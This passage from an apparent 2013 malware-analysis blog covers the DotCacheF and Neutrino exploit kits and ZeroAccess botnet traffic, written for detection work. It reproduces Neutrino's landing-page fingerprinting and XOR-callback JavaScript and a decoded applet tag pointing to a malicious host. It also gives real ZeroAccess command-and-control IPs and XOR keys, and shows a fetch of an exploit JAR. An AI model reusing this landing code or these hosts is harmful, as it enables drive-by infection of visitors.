Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog

Tuesday, August 13, 2013

ZeroAccess network traffic analysis Reloaded

It's been 6 months since the last time I really sat down and looked into the network mysteries of ZeroAccess, described in my post ZeroAccess analysis part I - Network traffic.

I have seen several reports of changes to the binaries. Like this one from @MalwareMustDie and @hFireFOX
and also a couple of reports regarding the initial connect IP addresses (Commented on my blog and also by @unixfreaxjp

In the mean time the now infamous ZeroaAccess botnet have got lots of press coverage, especially for its bitcoin mining functionality, and seem to be as big if not bigger than ever. Reports vary in number, as always, but a fair guess is probably close to 10 million bots these days. The ZA botnet comes in two variants. One for bitcoin mining and one for click fraud.
So lets see if the betwork traffic from these bots have changed much or not:

1. The bot wants to know where in the world it's installed

This is done by a geoIP lookup towards the maxmind geoIP database. DNS lookup and HTTP query for lookup expected.






 Thats excactly the first thing that happens.  The geoIP lookup contains country code, city, metro code and so on, but I guess that only country code is used.

2. Install and report

The bot is then expected to install itself and report back. Last time it reported back to 194.165.17.3 this time it has switched to 194.165.17.4.


The udp payload is port 53, but not DNS. Lets have a closer look: 

080e745d8e9c9e9853765c3529717a624e1d7ced

Looks like ZA have done little to further obfuscate the install traffic, but lets xor it it with the key, which is "LONG" and bit rotate for every iteration:

4f403b110L0000004e4f610413030000aL938f98
Byte 0-3: should be bot id
Byte 8-9: country code - in this case NO 
Byte 10: 61 OS version

The early conclusion was correct. Still reporting the same info at install time using the same XOR key and scheme.

3. Flashplayer install

For some reason the bot goes on to update the flashplayer


This is where the update ends on my virtual system. Not perfect...


4. Start to find alive supernodes

The bot want to get fully operational and starts looking for live Supernodes. The initial IP's are probably hardcoded. Some of them are actually the same as six mionths earlier. UDP to port 16464 is still the method used by the bot. The first hit on a supernode on udp port 16464 automatically shifts the communication to TCP on the same port. 

This should be requests to get P2P lists. Lets look inside:

UDP payload: 463fdb8b28948dabc9c0d199f08c0f06

We recognize this from earlier analysis as byte 4-7  (28948dab) wil be Lteg when XORed with the correct key(ftp2) and bitwise rotated left. No change here either.
The TCP traffic is the same as well. Update plugins:

cb:00:00:80:09:b5:28:3f:00:5c:00:00 -> get file 800000cb
01:00:00:00:3b:cd:03:3f:90:03:00:00 -> get file 00000001
00:00:00:80:9e:e2:0c:3f:00:2e:00:00 -> get file 80000000

The requests have not changed at all!

The answer is encrypted plugins.

5. Continue the search for P2P lists


The getL command should be answered with a retL command:

Payload:
ef81564b28948dbec9c0d1998381a333d9fcb8984c068eceb7ece3623319383a3fed8f8bcc64e0e850443f2e339381a3a2a0fcb8ce4c068e581cf3e33a3319382f0acd8fe8cc64e0bbdb363fa33393810525d9fc8ece4c0641bd66f3383a3319288998cde0e8cc649925673681a3339370b699d9068ece4c50f9636619383a3365af8a9964e0e8ccbc192f669381a333250347674d068ecea2c11fa2a31a383ad2861bf1a448b786028d5cb7d3d927365ae701cb7bed89249525050bc3fd1b8f248f0027ce034fc52381ad7840104cf42092c55eacf96752315437cab6bd3b71838f90170723f159ef3ca6540f96849f739d96aadf1832520574c434353c774c6ad7aac9d00443a0707b0480d3e80352030a1411e5122714ba999cd21f67cc00663270f45286ecd799e7c0d1fb231230a899f2d9a79dc04eeaa1f950a16cd023501d6fd2c79b80ace52ad4eacc427379f0b75340880d43f5baf61497927c7dacc8e5165b191021be60b0da569954efa64bda7be8b83f46804c281ac0dcea96111509315824a92e84effb50a25237b06637ebd273771c9a15c3278a2cd36b819d3e754bd50692608dffd5c7bef89381236e932b78ce10068e23a764a17c91aef689cbae1e3a80e27d7b1b116ea51703388ddeb8703d1ce920b860102e7423f1f5f8a3b1e3b553d50f39ea11b9890d1172898056fc5683c02f7c5919e6da431d6be66dafc61ddae2f85f73562f7d011aeee098bf4bffce520a86204cf7fa7e381fb4911b139c269b8cec57e659d95870bb9ed74977a33623bb

Decrypted payload:
ddf1222dc445726000000010000000fffffff0000000e02feff000000009f5fdff00000009dcf8ff000000056cf8ff000000055cf8ff00000000bc5f6ff0000000a26f4ff0000000224f4ff00000000d05f2ff000000008d5efff00000000945efff0000000317efff00000000c55eeff000000007f5edff0000000597edff00000000030000001000000bd33cf09003000044bbb568c672e5b49c4690ae645ad132cc051bfaa808bc09179ef2c7050e932576f2bc5228f418633ef25d67f5e35d22372b54d92ec6a8e870868f3fbf625e7cb3d3dfd2fed3e5873cb0a71dcfd996fc1e98096d52c044d7f875eafd44bbeca9bb5b9d4069a0612509537694a91aa35209f82c7ef43a0000000e29cef00e0020080c3b39ffc1bef9166d0c7738f54c9b5fc91b4b2d725f7245ce433dba1f16078eb7d07543630fc306bad6b8a6ae454b891706998fdfae01a36f4871cf5d8d4c9e1e1b8bc80447398c5d2ac222779453e094648c6b213b8c1b6135511e89514ba341b1ab5621902e977b875b413a6c0f586c671f0b0c000009b5283f0c00500eeb83d66247aebfdad9c6e2cd64d8a2a88ed6400299cab99e73b3d2a526a4fd8922c9421cc8787d1d55bb196b9bf83088e02a12a781ca3500d0e6305744f8c37b27584ddb10d9a7a3406397b68e0e98dbc69bf82c38bcc4dfc102a5c9670025d2a36b67025b4475e76982abe1c8ff9f14a30da65752

As before:

0e 02 fe ff -> 14.2.254.255 and so on...

No changes to the P2P communication either.

6. Final callback to tell the world it's alive

To register it self and letting the bot herder know the bor is ready it fakes ntp traffic


7. Conclusion

Even if the ZA binary and the obfuscation/camuflague of the malware binary and downloads do keep on changing it seems like the communication and the botnet main features stay the same.
No changes has really occured in the past 6 months. This is good for us, the good guys, trying to protect networks and clients as it is an easy task to detect ZA activity on a network. The installation, P2P traffic and call home traffic are all covered in my previous posts on ZA. 


This means we can move on to new analysis again and just relax and know that we do catch ZA on our networks.

Thanks to @MalwareMustDie for providing the sample for research.

Happy relaxing :)

Post publish refernces:
Symantect  - ZeroAccess Modifies Peer-to-Peer Protocol for Resiliency

Monday, July 29, 2013

Yet another encounter with Neutrino EK


Neutrino has worked its way to be my favourite EK. No good reason for it but it is a nice kit to analyze. As I got pinged on a case from @node5 via @MalwareMustDie once again I got curious if there where changes. And since I have been quite busy lately I thought it would be a good opportunity to write up a small analysis so my blog would not die off entirely.

Any changes? The landing has changed since my last analysis, but our good folks over at MMD have taken care of that update in their "Knockin' on Neutrino Exploit Kit's door..."

So to the case at hand:
@node5 saw a change in the landing on the 26th of July (pastebin) cleaned up and explained by MalwareMustDie (pastebin)  Added here for completeness:

// #MalwareMustDie!
// My personal note..
// New form of Neutrino EK landing page?
// A quest! Where's the XOR data now? :-D
 
 
<script src='xsvhwjx.js'></script>
<script src='qmqsfiutp.js'>
</script><script src='hrcl.js'></script>
<link href='xbbcukphokdo.css' rel='stylesheet'>
<link href='nhpgbsrcogf.css' rel='stylesheet'>
<link href='bbehoufqwh.css' rel='stylesheet'>
 
<script src='gdhclsjileqh.js'></script>
<script src='nrezixfqsy.js'></script>
<script src='sgxvswm.js'></script>
<script src='ztblmkuxokfcyxgy.js'></script>
<script type="text/javascript" src="index.js"></script> // <=== @malwaremustdie: Plugindetect??
<script src='dwwccp.js'></script>
<script src='zkbvwzvq.js'></script>
 
 
<script>
 $(document).ready(function()
 {
   rq(
        "51f2394faaa2cc390a075f4c",
        "eyhuui",        // <== @malforsec & @malwaremustdie: OK this is the key :-)
        "uvkotuiae",    // <=== @malwaremustdie: POST command value
        "ngrdddfrrlrzro",
        "gfsjmndvvz"
     )
 }
 );
 function rq(a,c,f,e,g)
 {
   var d=PluginDetect.getVersion,b=[];  // // <== @malwaremustdie: PoC of PluginDetect v0.8.0
   b.push("hid:::"+a);
   b.push("adobe_reader:::"+d("AdobeReader"));
   b.push("java:::"+d("Java"));
   b.push("flash:::"+d("Flash"));
   b.push("quick_time:::"+d("QuickTime"));
   b.push("real_player:::"+d("RealPlayer"));
   b.push("shockwave:::"+d("Shockwave"));
   b.push("silver_light:::"+d("Silverlight"));
   b.push("vlc:::"+d("VLC"));
   b.push("wmp:::"+d("WMP"));
   b.push("office:::"+office_ver());
   a={};
   a[e]=c;                                        // <=== c = "51f2394faaa2cc390a075f4c"
   a[g]=encodeURIComponent(www(b.join(";;;"),c));  // <== @malwaremustdie: Assembling the POST query.
   $.post(f,a,function(a,
   b)
   {
     $("body").append(www(decodeURIComponent(a),c)) // <== @malwaremustdie: A DAT www is XOR function.
   }
   )
 }
 function www(a,c)        // <=== @malwaremustdie: XOR function name in camouflaged
 {                      
   for(var f="",e=0,g=0,e=0;e<a.length;e++) // <=== @malwaremustdie: XOR logic
       g=Math.floor(e%c.length),
       f+=String.fromCharCode(a.charCodeAt(e)^c.charCodeAt(g));
   return f
 }
 function office_ver()
 {
   var a=0,c=0;
   try
   {
     a=new ActiveXObject("SharePoint.OpenDocuments.4")
   }
   catch(f)
   {
   }
   try
   {
     c=new ActiveXObject("SharePoint.OpenDocuments.3")
   }
   catch(e)
   {
   }  // <=== @malwaremustdie: here goes the exploit payloads access...
   return"object"==typeof a&&"object"==typeof c?"2010":"number"==typeof a&&"object"==typeof c?"2007":null
 };
 
</script>
 
 
----
#MalwareMustDie!
@unixfreaxjp ~]$ date
Sat Jul 27 01:17:40 JST 2013


Small changes as we still can see the Host id, xor key and the end of the post url is still in there.  See my previous posts on the landing "Neutrino landing page demystified" and "Neutrino landing page change". Also we still see lots of rubbish GET requests.
As I got pcap on this lets go through it:

Landing:


POST request:


 Info from the PluginDetect is Posted to the server xored and URLencoded.
The answer gzip decoded:


 Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp


This is also xored and UrlEncoded. I have made a nice little Javascript to decode the answer:


@malforsec JS to decode Neutrino POST answers
function xor(input, pass) {
  var output = "";
  var i = 0;
  var pos = 0;
  for (i = 0; i < input.length; i++){
    pos = Math.floor(i%pass.length);
    output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
  }
  return output;
}

var stranswer = "Y%18%18%05%19%0C%11Y%09%07%16%01%0C%0F%0DHR%01%11%0D%18OZF%0D%1A%0B%04%1F%1F%08%17%01%0C%1B%10%15%1A%0B%0C%5B%0D%0B%0A%09%19%1C%08%16W%0B%1A%18S%5DIXEZ%04%1F%1B%1A%05%18%0B%0B%03%0DJ%19%06%0B%13%02%19%0C%08%03%0F%0AH%16%0A%09%0D%0A%0D%11%0E%0D%5EH%16%1A%0DDO4%05%05BY%1F%1C%11%1D%0DDODENE%11%0D%1C%12%01%11DODEN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%0D%0D%10%0ABY%1E%14%19%1CDO%14%3D%3BU%1A%2C%1A%03%25W%11%02%2CF%2F%14%1D%05D%08%3D%15%1D%10-%2B%0F%20%5B%1E3%22L%12%2C%22%11%15%20080W%40%1C%3A%1F%0E%124%2C4%03%08%0B3%1D%16G%1D%13%1A%5B%1DC%0B%22%0EG%172%5C%0F%1B%5B%05%190%0B%15%18%11G%5CW%29%3F%3B%1F%0B-%2B%01%102%3B%0B%18%29HHN%5Bsa%7C%7C%60lE%18%14%07%08%08Y%06%14%18%0CX%5E%10%1E%10%10BY%1E%14%19%1CDO%07%06%1A%13%5EV%7F%7C%60lpTZ%14%19%15%15%0D%01Kclp";
console.log(xor(decodeURIComponent(stranswer),"eyhuui"));

Just change the xorkey and the POST answer string and you are good to go.

This gives us readable output:

<applet archive='hxxp: //hccqjvmniynypccy.dnsalias.com:8000/mzbrpmbnze?lonjjlyafvb=ccltbxdgh' code='Apl' width='10' height='10'>
   <param name='exec' value='aHR0cDovL2hjY3Fqdm1uaXlueXBjY3kuZG5zYWxpYXMuY29tOjgwMDAvanJuc2tvc3h6bGw/bG5jb3plYnlpd252PWNjbHRieGRnaA=='>
   <param name='xkey' value='rssv'>
</applet>


The important info to take with us here is the "xkey" parameter value. We will need that to decode the binary later. So remember the value "rssv"

JAR request:


Binary request:



With little changes to Neutrino I just grabbed my python script to decode Neutrino binaries and had a look if that still worked(Just remember the xor key from the applet tags "rssv"). You can find it here

Worked like a charm :) Always nice when hard work done earlier pays off, ain't it...

For the record Virustotal results for the JAR and EXE:

JAR: 5/46  Link
EXE: 35/46 Link


Epilogue:

For those who need detailed detection of Neutrino on the network. The URL's have changed again(expect them to continue changing) as before only the first chars in GET variables and values have changed:

landing: /s[a-z0-9]{1,16}\?d[a-z0-9]{1,12}=[0-9]{7}$
JAR: /m[a-z0-9]{1,11}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /j[a-z0-9]{1,16}\?l[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

Thanks to @node5 for providing pcap and to @MalwareMustDie for pinging me.

PS: The URL change is also confirmed with pcaps that I have received from @urlquery. Thanks for for sharing those!

UPDATE 20130807:
@Set_Abominae catched, yet another, change in the URL pattern: pastebin


Keep on having fun analysing and detecting Neutrino EK :)